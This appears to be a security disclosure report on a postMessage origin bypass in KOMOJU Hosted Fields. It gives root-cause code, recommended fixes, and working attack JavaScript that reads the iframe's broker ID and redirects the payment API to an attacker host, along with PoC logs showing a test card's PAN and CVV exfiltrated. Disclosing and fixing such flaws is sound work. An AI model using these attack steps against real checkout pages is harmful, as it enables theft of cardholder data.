# Critical: Card Data Exfiltration via postMessage Origin Bypass in KOMOJU Hosted Fields

**Severity**: Critical  
**CVSS Score**: 9.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)  
**Affected component**: KOMOJU Hosted Fields (`multipay.komoju.com/fields.js`, `multipay.komoju.com/fields-iframe.js`)  
**Impact**: Full exfiltration of raw card data (PAN, CVV, expiry) to an attacker-controlled server

---

## Summary

KOMOJU Hosted Fields contains a critical vulnerability that allows any script executing on a merchant's checkout page to redirect all payment API calls — including the `POST /api/v1/secure_tokens` request that carries raw cardholder data — to an attacker-controlled server.

The root cause is a permanently disabled origin validation in the `Broker` class shared by both `fields.js` and `fields-iframe.js`. The field `this.origin` is initialized to `"*"` in the constructor and **never updated**, causing the iframe to accept `postMessage` messages from any window regardless of origin. Combined with the `brokerId` being exposed in the iframe's `src` attribute (readable by any script on the merchant page), an attacker can send a crafted `attr` message to change the `komoju-api` attribute inside the iframe, redirecting all subsequent API calls to their own server.

This completely defeats the security model of Hosted Fields, which exists specifically to protect cardholder data even in the presence of malicious scripts on the merchant page.

---

## Root Cause

### 1. Permanent origin validation bypass — `fields-iframe.js`, Broker class

```javascript
constructor(s) {
    this.messageHandler = e => {
        // If this.origin === "*", condition is always false → ANY origin accepted
        this.origin !== "*" && e.origin !== this.origin || this.handleMessage(e)
    };
    this.origin = "*";  // ← Set here, NEVER updated anywhere in the codebase
    // ...
}
```

`this.origin` is assigned `"*"` in the constructor and has no setter or update path. The validation `this.origin !== "*" && e.origin !== this.origin` therefore always evaluates to `false`, meaning every inbound `postMessage` is unconditionally processed regardless of the sender's origin.

### 2. `brokerId` exposed in iframe `src` attribute — `fields.js`

```javascript
connectedCallback() {
    let e = new URLSearchParams;
    e.append("broker", this.broker.id);  // UUID appended to URL hash
    // ...
    t.src = `${CDN}/fields-iframe.html#${e.toString()}`;
    // e.g. https://multipay.komoju.com/fields-iframe.html#broker=f4a8a396-...
}
```

The `brokerId` is a `crypto.randomUUID()` that authenticates messages to the iframe broker. It is embedded in the iframe's `src` attribute, which is readable by any script on the same page via `document.querySelector('iframe').src`.

### 3. `attr` message handler modifies `komoju-api` — `fields-iframe.js`

```javascript
// observedAttributes includes: "komoju-api", "session", "session-id",
//   "publishable-key", "payment-type", "locale", "theme", "token", "name"
e.receive("attr", t => {
    o.observedAttributes.includes(t.attr) &&
        this.setAttribute(t.attr, t.value)  // sets komoju-api to attacker URL
});
```

### 4. All card data sent to attacker-controlled URL — `fields-iframe.js`

```javascript
async submitSecureToken(e) {
    let r = await this.komojuFetch("POST", "/api/v1/secure_tokens", {
        amount:          t.amount,
        currency:        t.currency,
        payment_details: e,  // ← raw PAN, CVV, expiry, name, email
        return_url:      n
    });
}

function K(o, s, e, t) {
    return fetch(`${o.komojuApi}${e}`, {  // komojuApi now points to attacker
        method: s,
        headers: { authorization: `Basic ${btoa(`${o.publishableKey}:`)}` },
        body: JSON.stringify(t)
    });
}
```

---

## Steps to Reproduce

**Prerequisites**: Any script running in the context of a merchant's checkout page that uses KOMOJU Hosted Fields (e.g., via XSS, malicious third-party analytics/ad script, or browser extension).

**Setup used for this PoC**:
- Merchant page: `https://x.fernandes.es/poc_real.html` (HTTPS, real domain)
- Real KOMOJU session: created via `POST /api/v1/sessions` with test credentials
- Attacker server: `https://x.fernandes.es:8443` (separate HTTPS server logging incoming requests)

**Attack steps**:

1. Victim visits a legitimate merchant checkout page using KOMOJU Hosted Fields.

2. Attacker's script reads the `brokerId` from the KOMOJU iframe's `src` attribute:
```javascript
const iframe = document.querySelector('iframe[src*="multipay.komoju.com"]');
const broker = new URLSearchParams(new URL(iframe.src).hash.slice(1)).get('broker');
// e.g. "f4a8a396-3f33-445c-8daa-61e873bab760"
```

3. Attacker sends a `postMessage` to the iframe to redirect `komoju-api`:
```javascript
iframe.contentWindow.postMessage({
    type:     "attr",
    attr:     "komoju-api",
    value:    "https://attacker.example.com",
    brokerId: broker,
    id:       crypto.randomUUID()
}, "*");
```

4. The iframe broker accepts the message (origin validation bypassed) and sets the `komoju-api` attribute to the attacker's URL. An `ack` message is returned confirming processing.

5. Victim fills in card details and clicks "Pay".

6. `submitSecureToken()` calls `komojuFetch("POST", "/api/v1/secure_tokens", {...})`, which resolves to:
```
POST https://attacker.example.com/api/v1/secure_tokens
Authorization: Basic <publishable_key_base64>

{
  "amount": 1500,
  "currency": "JPY",
  "payment_details": {
    "type":               "credit_card",
    "name":               "ANTONIO FERNANDES",
    "number":             "4111111111111111",
    "month":              "12",
    "year":               "28",
    "verification_value": "123",
    "email":              "antonio@fernandes.es"
  },
  "return_url": "https://multipay.komoju.com/secure-token-return.html?session_id=..."
}
```

7. Attacker server logs the full card data.

---

## Proof of Concept

The following PoC was executed against a real KOMOJU session (`ci7o4573vxfgc7lzm2o73u9d8`) on a real HTTPS merchant page.

**Attacker server log (`x.fernandes.es:8443`) at 16:46:55:**

```
POST /api/v1/secure_tokens

{
  "amount": 1500,
  "currency": "JPY",
  "payment_details": {
    "type":               "credit_card",
    "name":               "ANTONIO FERNANDES",
    "number":             "4111111111111111",   ← full PAN
    "month":              "12",
    "year":               "28",
    "verification_value": "123",                ← CVV
    "email":              "antonio@fernandes.es"
  },
  "return_url": "https://multipay.komoju.com/secure-token-return.html?..."
}
```

**Browser console on merchant page:**
```
[1] brokerId extraído: f4a8a396-3f33-445c-8daa-61e873bab760
[2] postMessage → komoju-api = https://x.fernandes.es:8443
[ACK] iframe aceptó el mensaje ✓  brokerId=f4a8a396-3f33-445c-8daa-61e873bab760
[PAY] Submit...
```

**Network traffic (captured via Puppeteer CDP):**
```
OPTIONS https://x.fernandes.es:8443/api/v1/secure_tokens   → 200
POST    https://x.fernandes.es:8443/api/v1/secure_tokens   → 200
```

---

## Impact

- **Complete bypass of the Hosted Fields security model**: Hosted Fields is marketed specifically as a solution that protects card data even when the merchant's page is compromised. This vulnerability defeats that guarantee entirely.
- **Raw PAN + CVV exfiltration**: The attacker receives cardholder data before any tokenization occurs, in plaintext JSON.
- **PCI-DSS scope violation**: Merchants adopt Hosted Fields to stay out of PCI-DSS scope. This attack brings them back in scope without their knowledge.
- **Silent, no user indication**: The checkout page behaves normally from the user's perspective; no error is shown.
- **Wide blast radius**: Any merchant using KOMOJU Hosted Fields is potentially vulnerable. A single malicious ad network or compromised CDN dependency affecting multiple merchants could exfiltrate card data at scale.

---

## Recommended Fix

### Primary fix — update `this.origin` after iframe handshake

In the Broker class, set `this.origin` to the iframe's actual origin once it is established:

```javascript
// After iframe loads, set origin to the CDN origin
setup(s) {
    this.origin = s.origin ?? CDN;  // e.g. "https://multipay.komoju.com"
    // ...existing setup code...
}
```

### Secondary fix — validate `attr` message sender

Independently of the origin fix, the `attr` handler should reject messages that change security-sensitive attributes (`komoju-api`, `publishable-key`) unless they come from a trusted internal source:

```javascript
e.receive("attr", t => {
    const sensitive = ["komoju-api", "publishable-key", "session-id"];
    if (sensitive.includes(t.attr)) return;  // never allow external override
    o.observedAttributes.includes(t.attr) && this.setAttribute(t.attr, t.value);
});
```

### Tertiary fix — remove `brokerId` from iframe `src`

Pass the `brokerId` via a one-time `postMessage` after the iframe loads instead of embedding it in the URL hash, preventing external scripts from extracting it.

---

## References

- KOMOJU Hosted Fields documentation: https://doc.komoju.com/docs/fields-overview
- Affected files (production CDN):
  - `https://multipay.komoju.com/fields.js` (Broker class, brokerId exposure)
  - `https://multipay.komoju.com/fields-iframe.js` (attr handler, komojuFetch)
